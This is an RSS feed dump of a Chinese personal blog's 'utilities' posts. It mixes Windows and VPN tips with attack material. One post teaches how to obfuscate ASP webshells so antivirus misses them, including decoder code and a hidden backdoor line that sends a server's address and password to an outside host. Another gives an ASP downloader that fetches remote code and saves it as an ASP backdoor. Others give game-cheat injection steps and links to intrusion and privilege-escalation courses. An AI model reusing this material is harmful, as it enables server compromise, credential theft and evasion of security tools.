MK2-风 之谷 - 实用工具http://www.mk2leo.com/大家来学习编程吧 - RainbowSoft Studio Z-Blog 1.8 Arwen Build 90619zh-CNMK2-风版权所有.Tue, 07 Sep 2010 11:36:48 +0800WIN 7 移除有问题的驱动 mk2leo@qq.com (leoling504)http://www.mk2leo.com/post/194.htmlWed, 18 Aug 2010 23:39:53 +0800http://www.mk2leo.com/post/194.html如何移除Win7中老旧不再使用的设备驱动，你发现一些最近安装的设备工作不正常或者经常引起电脑死机，怎么删除Windows7中旧的或者未使用的设备驱动呢？

Just do it：

1、右键Win7桌面的“计算机”，选择“属性”。

2、在左侧面板上找到“高级设置”，点击“高级”选项卡底部的“环境变量”。

3、在上半部分的“XX的用户变量”那里点击“新建”

输入变量名：devmgr_show_nonpresent_devices

输入变量值：1

确定，确定，再确定！

4、右键桌面的“计算机”，选择“管理”，在左侧打开“设备管理器”。

5、在设备管理器的顶部菜单栏，选择“查看”——“显示隐藏的设备”。

6、so 你可以在设备管理器的右边，找到“其他设备”。

7、右键不使用的“未知设备”，卸载它吧！

]]>实用工具http://www.mk2leo.com/post/194.html#commenthttp://www.mk2leo.com/http://www.mk2leo.com/feed.asp?cmt=194http://www.mk2leo.com/cmd.asp?act=tb&id=194&key=eb60e7e5POI照片上傳定位網站 gpsmk2leo@qq.com (leoling504)http://www.mk2leo.com/post/190.htmlWed, 03 Mar 2010 00:33:15 +0800http://www.mk2leo.com/post/190.html http://www.panoramio.com

終於找到可以讀取acer poi模式拍出來的照片gps位置了..

大家用poi模式拍了.可以上傳到網站.會在google maps中顯示該圖片拍攝位置..

 

]]>实用工具http://www.mk2leo.com/post/190.html#commenthttp://www.mk2leo.com/http://www.mk2leo.com/feed.asp?cmt=190http://www.mk2leo.com/cmd.asp?act=tb&id=190&key=87ebc3fa在電腦上也可以玩google maps buzz 能看到地圖玩mk2leo@qq.com (leoling504)http://www.mk2leo.com/post/189.htmlTue, 02 Mar 2010 20:03:57 +0800http://www.mk2leo.com/post/189.html http://www.google.com/ig/adde?moduleurl=iksu.mysites.com/get_file/buzz/googlebuzz-1.xml

一定要使用\

Google Chrome 瀏覽器..安裝了插件後..就能在igoogle首頁中顯示..

玩法跟用手機差一樣..可以在地圖中看到buzz用戶...

 

 

 

 

]]>实用工具http://www.mk2leo.com/post/189.html#commenthttp://www.mk2leo.com/http://www.mk2leo.com/feed.asp?cmt=189http://www.mk2leo.com/cmd.asp?act=tb&id=189&key=85fa52b4Pet Society Automatic injection Race 2000 coin mk2leo@qq.com (leoling504)http://www.mk2leo.com/post/177.htmlThu, 05 Nov 2009 19:45:29 +0800http://www.mk2leo.com/post/177.html

 

RaceCoin.rar

]]>实用工具http://www.mk2leo.com/post/177.html#commenthttp://www.mk2leo.com/http://www.mk2leo.com/feed.asp?cmt=177http://www.mk2leo.com/cmd.asp?act=tb&id=177&key=80915b44pet society 賽跑必勝2000金幣 2009/10//11 mk2leo@qq.com (leoling504)http://www.mk2leo.com/post/176.htmlMon, 12 Oct 2009 02:34:48 +0800http://www.mk2leo.com/post/176.html呢個bet 同普通1000 bet 分別不大
但就+ 左必勝法同埋係 + 2000 蚊, 仲要係只scan 一個code
1)去跑步埸, 揀人bet, tick, 唔好禁ready
2)開ce, 揀browser, hex, 8b, asrom
3)scan 5D8B00000652840F
4)出現一個address 後右click > dissable.......@##%%^
5)已highlight 果一行右click, go to address
6)copy 彈出黎ge address, paste 去patiniox 個網個gen code 器
http://patiniox.blogspot.com/200 ... ck-by-patiniox.html
7)gen code 後, 關左address 個window 仔, 禁tools > auto......#$%^#&
8)excute> yes>ok~~~ 跟住去跑就ok 啦


Requerimientos: Requirements:
- Cheat engine 5.5 - Cheat Engine 5.5
- Firefox o Flock browser - Firefox or Flock browser
- Adobe flash player 9 - Adobe flash player 9

 

再加上加速器3倍速和自動按鍵精靈腳本..全自動掛一天可以上百萬...mk2-風  有興趣者可以加我msn或facebook 交流 mk2leo@qq.com


 

]]>实用工具http://www.mk2leo.com/post/176.html#commenthttp://www.mk2leo.com/http://www.mk2leo.com/feed.asp?cmt=176http://www.mk2leo.com/cmd.asp?act=tb&id=176&key=e0ba3b06扫雷游戏作弊器：内挂制作基本思路 mk2leo@qq.com (leoling504)http://www.mk2leo.com/post/174.htmlWed, 07 Oct 2009 23:12:12 +0800http://www.mk2leo.com/post/174.html 

原文地址 http://www.cppblog.com/zyzx/archive/2009/08/07/81239.html

tag：C，扫雷游戏，vc内联汇编，远程线程(RemoteThread.)

/* Create by zyzx
* Created 2008-08-19
* Modified 2008-08-19
*/

        NND，想把整个工程和文件都上传到百度相册内都不行。将rar文件更改后缀名，上传相册时，居然还检查上传文件真正的格式（NND，百度工作人员在这里咋不偷懒呢？？？）。。。
        压缩包捆绑在Jpg文件中，在Code_source相册中 -->>这里下载

       这个是刚毕业无聊时，做的小玩意。。麻雀虽小，五脏俱全啊。。有些技术广泛用于外挂，杀毒，安全，病毒等等方面。。本文仅研究学习之用 ，勿用于非法。。。

       外挂制作就技术含量而言，分几个档次。内挂是仅次于脱机外挂（两种都是最难的），当然这两种挂的用途不一样，各有各的“钱途”和“市场”。通常做外挂需要的几个部分为：分析游戏通讯协议包，逆向游戏客户端，提取客户端重要数据结构和可用的功能函数；再就是程序员的事情了，跟据前面提供的资料编码制作外挂（作弊器）。

       内挂制作的基本原理是：1、使得内挂程序（可能是dll）和目标游戏处于同一个进程空间。2、在目标游戏进程中创建一个线程（或多个）来执行相关功能。3、伪造参数，配平堆栈，（汇编级别）直接跳转游戏功能函数模块（能跳转的条件是必须处于同一个进程空间，是进程中哪个线程则来执行是无所谓的）。

如下是扫雷游戏的全部代码：测试平台 Window Xp + 扫雷 + vc

DLL端代码：生成插入扫雷游戏的DLL
 

SaoleiHideDllCpp.png


主程序代码：结构定义文件
MYMINE_H_.png


主应用程序：Dlg文件
 

扫雷高手DlgCpp.png



用于远程插入DLL的代码：
 

Injectorcpp.png



如下是逆向扫雷程序分析得到的特征码：
 

扫雷游戏特征码分析.png




运行的实例：（扫雷的两图不是同一次运行的）
 

扫雷作弊器主程序.png


 

标记雷区.png


 

开始扫雷.png
]]>实用工具http://www.mk2leo.com/post/174.html#commenthttp://www.mk2leo.com/http://www.mk2leo.com/feed.asp?cmt=174http://www.mk2leo.com/cmd.asp?act=tb&id=174&key=447cc304windows xp設定vpn servermk2leo@qq.com (leoling504)http://www.mk2leo.com/post/172.htmlSun, 04 Oct 2009 21:20:42 +0800http://www.mk2leo.com/post/172.html 

 

 

 

 

 

这里什么都不用选.直接下一步

 

这里要点选内容.设定固定IP

 

设定的IP要跟SERVER端 路由器的IP.是同一网段 192.168.2.XXX 这样外接入来的.才能分配到同一网段的IP.成功上网

 

 防火牆的部份，無論是開啟哪個部份的防火牆，都必須開啟這四個port 1723、500、50、51給予對應vpn server所用的ip。這部份若沒有處理，會讓client無法連上server。
 

]]>实用工具http://www.mk2leo.com/post/172.html#commenthttp://www.mk2leo.com/http://www.mk2leo.com/feed.asp?cmt=172http://www.mk2leo.com/cmd.asp?act=tb&id=172&key=21e90d75加密你的大马mk2leo@qq.com (leoling504)http://www.mk2leo.com/post/139.htmlFri, 17 Apr 2009 03:46:17 +0800http://www.mk2leo.com/post/139.html大家在入侵中应该是捡到过别人的Webshell吧?也许有的大马功能很好，于是你就用了，但是你没想过该马可能有后门?现在很多的大马都加密了，打开时候一片乱码，是不是也想加密自己的大马了，加密后的Webshell不仅可以防止别人捡我们的Shell用，还能免杀webshell。ASP木马加密不难，让我们一起踏上大马加密之旅。
　　一:人工加密

　　1.主加密函数的编写

　　1)主解密与解密函数

　　对大马的加密关键是编写我们的加密函数，然后写出相应的解密函数。我这里先得对几个ASP自带函数有个了解

　　CHR：将ASCII 字码转换成字符

　　REPLACE:将一个字符串取代 部份字。

　　ASC：将字符串的第一字母转换成 ANSI (美国国家标准符号)字码。

　　Len：取得字符串的长度。

　　然后对IF语句和一些VBS函数相关知识有个了解。大家有不懂可以查看Windows脚本技术，里面比较详细。

　　我们先看下一个最常用的解密函数吧。

dim ShiSan,ShiSanNewstr,ShiSanI
Function ShiSanFun(ShiSanObjstr)
ShiSanObjstr = Replace(ShiSanObjstr, "╁", """")
For ShiSanI = 1 To Len(ShiSanObjstr)
If Mid(ShiSanObjstr, ShiSanI, 1) <> "╋" Then
  ShiSanNewStr = Mid(ShiSanObjstr, ShiSanI, 1) & ShiSanNewStr
Else
  ShiSanNewStr = vbCrLf & ShiSanNewStr
End If
Next
ShiSanFun = ShiSanNewStr
End Function


　　这个解密函数就是将加密后的代码解密。他先将解密代码(Str)中的╁换为引号(")，得到Str1,然后通过FOR循环，将加密部分(Str1)逐个取出，将取出的字符倒叙连接成一个新字符，并将╋换为vbcrlf(换行符)。这个加密函数应用的相当广泛，就连华夏免杀Webshell也用了这个函数

　　好了。知道加密的原理后我们就可以编写自己的加密函数了。ASP的加密函数只需要将上面的部分稍微改下，但是需要可以执行的环境(本地IIS或上传到服务器)。这里我给出了JS+HTML写的加密网页

　　---------->JS+HTML加密：

<html>
<script script="JavaScript">
function enCode(theText)
{
output=new String;
TextSize=theText.length;
for (i = 0; i < TextSize; i++)
{
  if(theText.charCodeAt(i)=="13")
  {
  output="鹏"+output;
  }
  else if(theText.charCodeAt(i)=="10")
  {
  output+="";
  }
  else
  {
  output=theText.charAt(i)+output;
  }
}
return output
}
</script>
<form name=encform />
<textarea name=box1 rows=16 cols=120></textarea>
<br />
<input type=button value="加密到下面文本框" /><br />
<textarea name=box2 rows=16 cols=120></textarea>
</form>
</form>
</html>
保存为html格式然后用IE打开，将需要加密的部分填写上，然后点击按钮"加密到下面文本框" ，就可以得到加密后的字符串了。
　　上面的加密函数是enCode,他的作用是将ASP代码(Code)中的换行换为鹏，得到Code1，然后将Code1倒序(13和10分别是回车和换行的编码)。比如：

　　Sub RRS(str)

　　response.write(str)

　　End Sub

　　加密后就为

　　buS dnE鹏)rts(etirw.esnopser 鹏)rts(SRR buS

　　写了加密函数后就要写出对于的解密函数，必须用ASP编写

dim psEncode,psStr,psI
Function unCode(psEncode)
For psI=1 To Len(psEncode)
If Mid(psEncode,psI,1)<>"鹏" Then
psNewStr=Mid(psEncode,psI,1)&psNewStr
Else
psNewStr=vbCrlf&psNewStr
End If
Next
unCode=psNewStr
End Function

　　这样我们就可以将ASP中的RRS函数用

　　execute(unCode("buS dnE鹏)rts(etirw.esnopser 鹏)rts(SRR buS"))

　　代替掉

　　Sub RRS(str)

　　response.write(str)

　　End Sub

　　我们可以利用这个加密函数加密多处，这样多加密一般可以免杀大马

　　(2)加密解密函数

　　直接调用解密函数，很容易使自己的解密函数泄露，我们可以利用一个函数来加密我们的加密函数，这样就难找一点了，这主要是为了保护我们的马，对于上面我们的解密函数，我们可以再写一个加密函数，然后调用execute来，这样就可以隐藏我们的解密函数了。这样我们解密函数的源代码就不会明文出现在webshell里了

　　(3)嵌套加密

　　我们可以在主加密函数里面嵌套次加密函数，不过这样我们需要对应的写出多个解密函数，这样加密比较侧地，小破孩就马就是采用这种加密方法。由于方法相同，我就不多啰嗦了，大家有兴趣可以自己去研究下幽月或小破孩的，我这里有源码，想要的可以到我博客(hi.baidu.com/novaa)

　　2.密码的加密

　　大家是否遇见过webshell的密码是很长的数字，20多位或30多位。这就是对密码加密了的，通过对密码加密，可以防止别人通过查看我们的源代码得到我们的密码，除非他完全解密了我们的webshell，否则我们大马就是安全的。这里看一个对密码加密的函数。

Function enPass(psStr,Pos)
Dim i,psNewStr
For i = 1 To Len(psStr)
psNewStr= psNewStr& Asc(Mid(psStr, i, 1))+Pos & (20080808-Pos)
Next
enPass =psNewStr
End Function

　　

　　上面的这个加密函数是对每一位密码的数字取ascii码，然后加上Pos & (20080808-Pos)&i，这里注意&是连接字符，比如n&ov&aa结果是novaa

　　然后我们把解密后的部分定义为UserPass

　　然后在验证的地方通过

　　enPass(request.form("pass"),pn)=UserPass 来进行身份验证，当然，通过修改密码的验证方式可以轻松的修改密码，但是前提是你已经完全解密了这个webshell了。

　　3.后门的隐藏技术

　　怎么隐藏后门?其实主要就利用ASP的自带函数和一些其他技巧，这里我以破小孩后门来解释

RRS"<DIV style=""CURSOR:url('http://"&chr(37)&"77"&chr(37)&"2E%31"&chr(39-pos)&""&(4+pos)&"c%6c"&chr(37)&"34%2E"&chr(37)&"63%6f"&chr(37)&"6d/%"&(36+pos)&"%2f?%75="&Serveru&"&%70="&UserPass&"')"">"
这个和幽月的后门隐藏技术差不多，都是利用了ASCII编码和HTML编码，CHR(37)是"/",我们把它还原就是
http://w.1ll4.com/8/?u="&Serveru&"&p="&UserPass&"
这里我们可以做的更隐蔽些。

　　1.我们查找后门的时候一般是利用查找有UserPass的地方，因此，我们可以利用enPass(request.form("pass"),pn)赋值给另一个变量canyou，然后把&p="&UserPass&"换为&p="&canyou&"

　　2.我们可以利用webshell里面自带的常量来代替http，以为http也是经常用来找后门的地方，比如Sot(13,0) = "Microsoft.XMLHTTP"这里就有HTTP，我们利用Right函数来取得Sot(13,0) 右边的4个字符，然后代替后门中的HTTP

　　二:工具加密

　　利用微软的脚本加密工具screnc.exe对我们初步加密的webshell进行再次的加密，这样我们的webshell就完全成了一堆乱码了

　　有了上面的加密知识，相信大家很快可以掌握ASP的解密，方法都是一样的，然后大家就可以玩玩除后门了

]]>实用工具http://www.mk2leo.com/post/139.html#commenthttp://www.mk2leo.com/http://www.mk2leo.com/feed.asp?cmt=139http://www.mk2leo.com/cmd.asp?act=tb&id=139&key=b2e09a44破ASP网马监控软件代码mk2leo@qq.com (leoling504)http://www.mk2leo.com/post/138.htmlFri, 17 Apr 2009 03:33:02 +0800http://www.mk2leo.com/post/138.html

<%
Set xPost = CreateObject("Microsoft.XMLHTTP")
xPost.Open "GET","http://www.dingxin-hn.com/admin/Databackup/1.txt",False
xPost.Send()
Set sGet = CreateObject("ADODB.Stream")
sGet.Mode = 3
sGet.Type = 1
sGet.Open()
sGet.Write(xPost.responseBody)
sGet.SaveToFile Server.MapPath("999.asp"),2
set sGet = nothing
set sPOST = nothing
%>

  这代码利用 一个组件。。 读取从另一个服务器TXT文件的ASP代码  再下载TXT里的代码到服务器里面

   在保存为999。ASP    就是远程调用代码。。再下载到自己的服务器里  把TXT代码内容变成ASP
  
      可以做后门   


 

]]>实用工具http://www.mk2leo.com/post/138.html#commenthttp://www.mk2leo.com/http://www.mk2leo.com/feed.asp?cmt=138http://www.mk2leo.com/cmd.asp?act=tb&id=138&key=3007268d网页 提权 入侵精华mk2leo@qq.com (leoling504)http://www.mk2leo.com/post/135.htmlWed, 15 Apr 2009 23:13:14 +0800http://www.mk2leo.com/post/135.html第一课 网站入侵概述
http://www.hx95.com/20081115/jbrq01.rar  
第二课 常见网站入侵软件介绍和使用  
http://www.hx95.com/20081115/jbrq02.rar  
第三课 数据库备份技术详解(实例演示)  
http://www.hx95.com/20081115/jbrq03.rar
第四课 抓包改包入侵网站(实例演示)
http://www.hx95.com/20081115/jbrq04.rar  
第五课 一句话木马2种方法入侵网站(实例演示)
http://www.hx95.com/20081115/jbrq05.rar
第六课 Cookie欺骗的简单讲解+利用实例  
http://www.hx95.com/20081115/jbrq06.rar
第七课 .asp解分漏洞实战入侵 NZ
http://www.hx95.com/20081115/jbrq07.rar
第八课 旁注入侵思路及条件
http://www.hx95.com/20081115/jbrq08.rar
第九课 啊D+google获得大量注入点
http://www.hx95.com/20081115/jbrq09.rar
第十课 数据库恢复技术入侵网站
http://www.hx95.com/20081115/jbrq10.rar  
第十一课 ewebeditor编辑器漏洞入侵
http://www.hx95.com/20081115/jbrq11.rar  
第十二课 巧妙利用漏洞入侵科讯网站
http://www.hx95.com/20081115/jbrq12.rar

提权入侵班
讲师：阳光
*************************************************
第一课 提权概述
http://www.hx95.com/20081115/tqrq01.rar
第二课 serv-u服务器提权（目录无修改权限）
http://www.hx95.com/20081115/tqrq02.rar
第三课 serv-u服务器提权（目录有修改权限）  
http://www.hx95.com/20081115/tqrq03.rar
第四课 pcanywhere提权方法
http://www.hx95.com/20081115/tqrq04.rar
第五课 FlashFXP替换文件提权
http://www.hx95.com/20081115/tqrq05.rar  
第六课 VNC密码破解提权
http://www.hx95.com/20081115/tqrq06.rar
第七课 CAIN 嗅探3389密码提权
http://www.hx95.com/20081115/tqrq07.rar
第八课 替换服务提权
http://www.hx95.com/20081115/tqrq08.rar  
第九课 利用HASH破解提权
http://www.hx95.com/20081115/tqrq09.rar
第十课 启动项提权
http://www.hx95.com/20081115/tqrq10.rar  
第十一课 CAcls命令在提权中的使用  
http://www.hx95.com/20081115/tqrq11.rar
第十二课 Windows-2003-webshell默认权限  
http://www.hx95.com/20081115/tqrq12.rar
第十三课 Windows 2003服务器默认文件夹权限
http://www.hx95.com/20081115/tqrq13.rar
第十四课 利用perl提升权限
http://www.hx95.com/20081115/tqrq14.rar  
第十五课 端口映射解决内网提权
http://www.hx95.com/20081115/tqrq15.rar

]]>实用工具http://www.mk2leo.com/post/135.html#commenthttp://www.mk2leo.com/http://www.mk2leo.com/feed.asp?cmt=135http://www.mk2leo.com/cmd.asp?act=tb&id=135&key=fd9fafd1